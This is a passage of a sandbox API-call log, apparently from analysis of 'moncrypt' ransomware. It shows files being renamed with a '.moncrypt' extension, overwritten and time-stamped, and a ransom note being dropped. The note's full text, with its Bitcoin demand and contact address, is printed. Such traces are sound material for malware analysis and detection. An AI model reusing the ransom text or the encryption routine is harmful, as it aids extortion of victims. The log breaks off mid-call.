lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 0x54e280 [0050.029] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0050.029] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0050.029] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", dwFileAttributes=0x20) returned 1 [0050.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0050.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.moncrypt")) returned 1 [0050.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.031] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.031] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x9869 [0050.031] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.031] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0050.033] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.033] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.033] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.033] GlobalUnlock (hMem=0x440004) returned 0 [0050.033] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.033] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.033] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.033] GlobalUnlock (hMem=0x440004) returned 0 [0050.033] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.033] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.033] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.033] GlobalUnlock (hMem=0x44000c) returned 0 [0050.033] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.033] GlobalUnlock (hMem=0x440004) returned 0 [0050.033] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.033] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.033] GlobalUnlock (hMem=0x440004) returned 0 [0050.033] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.034] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.034] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.034] GlobalUnlock (hMem=0x440004) returned 0 [0050.034] ReadFile (in: hFile=0x190, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e3b4*=0x20, lpOverlapped=0x0) returned 1 [0050.034] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x0 [0050.034] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e3b0*=0x4020, lpOverlapped=0x0) returned 1 [0050.034] SetFilePointer (in: hFile=0x190, lDistanceToMove=39017, lpDistanceToMoveHigh=0x18e3a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e3a8*=0) returned 0x9869 [0050.034] WriteFile (in: hFile=0x190, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e3b0*=0x20, lpOverlapped=0x0) returned 1 [0050.034] WriteFile (in: hFile=0x190, lpBuffer=0x18e42c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x18e42c*, lpNumberOfBytesWritten=0x18e3b0*=0x8, lpOverlapped=0x0) returned 1 [0050.034] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0050.045] WriteFile (in: hFile=0x190, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e3b0*=0x9c, lpOverlapped=0x0) returned 1 [0050.045] CloseHandle (hObject=0x190) returned 1 [0050.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.046] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0050.047] CloseHandle (hObject=0x190) returned 1 [0050.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.moncrypt", dwFileAttributes=0x20) returned 1 [0050.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.047] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.047] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.047] GlobalUnlock (hMem=0x440004) returned 0 [0050.047] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.047] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.047] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.047] GlobalUnlock (hMem=0x440004) returned 0 [0050.047] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.047] GlobalUnlock (hMem=0x44000c) returned 0 [0050.048] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0d57a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f0d57a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0d57a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0050.048] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0050.048] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0050.048] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.048] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.048] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.048] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.048] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.048] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.048] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.048] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0050.048] CloseHandle (hObject=0x190) returned 1 [0050.049] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0050.049] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.049] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.049] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.049] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.049] GlobalUnlock (hMem=0x44000c) returned 0 [0050.049] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.049] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.049] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.049] GlobalUnlock (hMem=0x44000c) returned 0 [0050.049] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.049] GlobalUnlock (hMem=0x440004) returned 0 [0050.049] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.049] CharLowerBuffW (in: lpsz="STOCKS.XML", cchLength=0xa | out: lpsz="stocks.xml") returned 0xa [0050.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", cchWideChar=78, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XMLt", lpUsedDefaultChar=0x0) returned 78 [0050.050] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0050.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\Smart Tag\\LISTS\\1033\\STOCKS.XMLt", lpUsedDefaultChar=0x0) returned 4 [0050.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 0x54e280 [0050.050] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0050.050] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0050.050] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", dwFileAttributes=0x20) returned 1 [0050.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0050.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.moncrypt")) returned 1 [0050.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.052] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.052] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0xa7f [0050.052] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.052] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xa7f, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0xa7f, lpOverlapped=0x0) returned 1 [0050.053] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.053] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.053] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.053] GlobalUnlock (hMem=0x440004) returned 0 [0050.053] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.053] GlobalUnlock (hMem=0x44000c) returned 0 [0050.054] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.054] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.054] GlobalUnlock (hMem=0x44000c) returned 0 [0050.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.065] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0050.065] CloseHandle (hObject=0x190) returned 1 [0050.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0050.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.065] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.065] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.065] GlobalUnlock (hMem=0x44000c) returned 0 [0050.065] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.066] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.066] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.066] GlobalUnlock (hMem=0x44000c) returned 0 [0050.066] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.066] GlobalUnlock (hMem=0x440004) returned 0 [0050.066] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0d57a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f0d57a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0d57a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0050.066] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0050.066] FileTimeToDosDateTime (in: 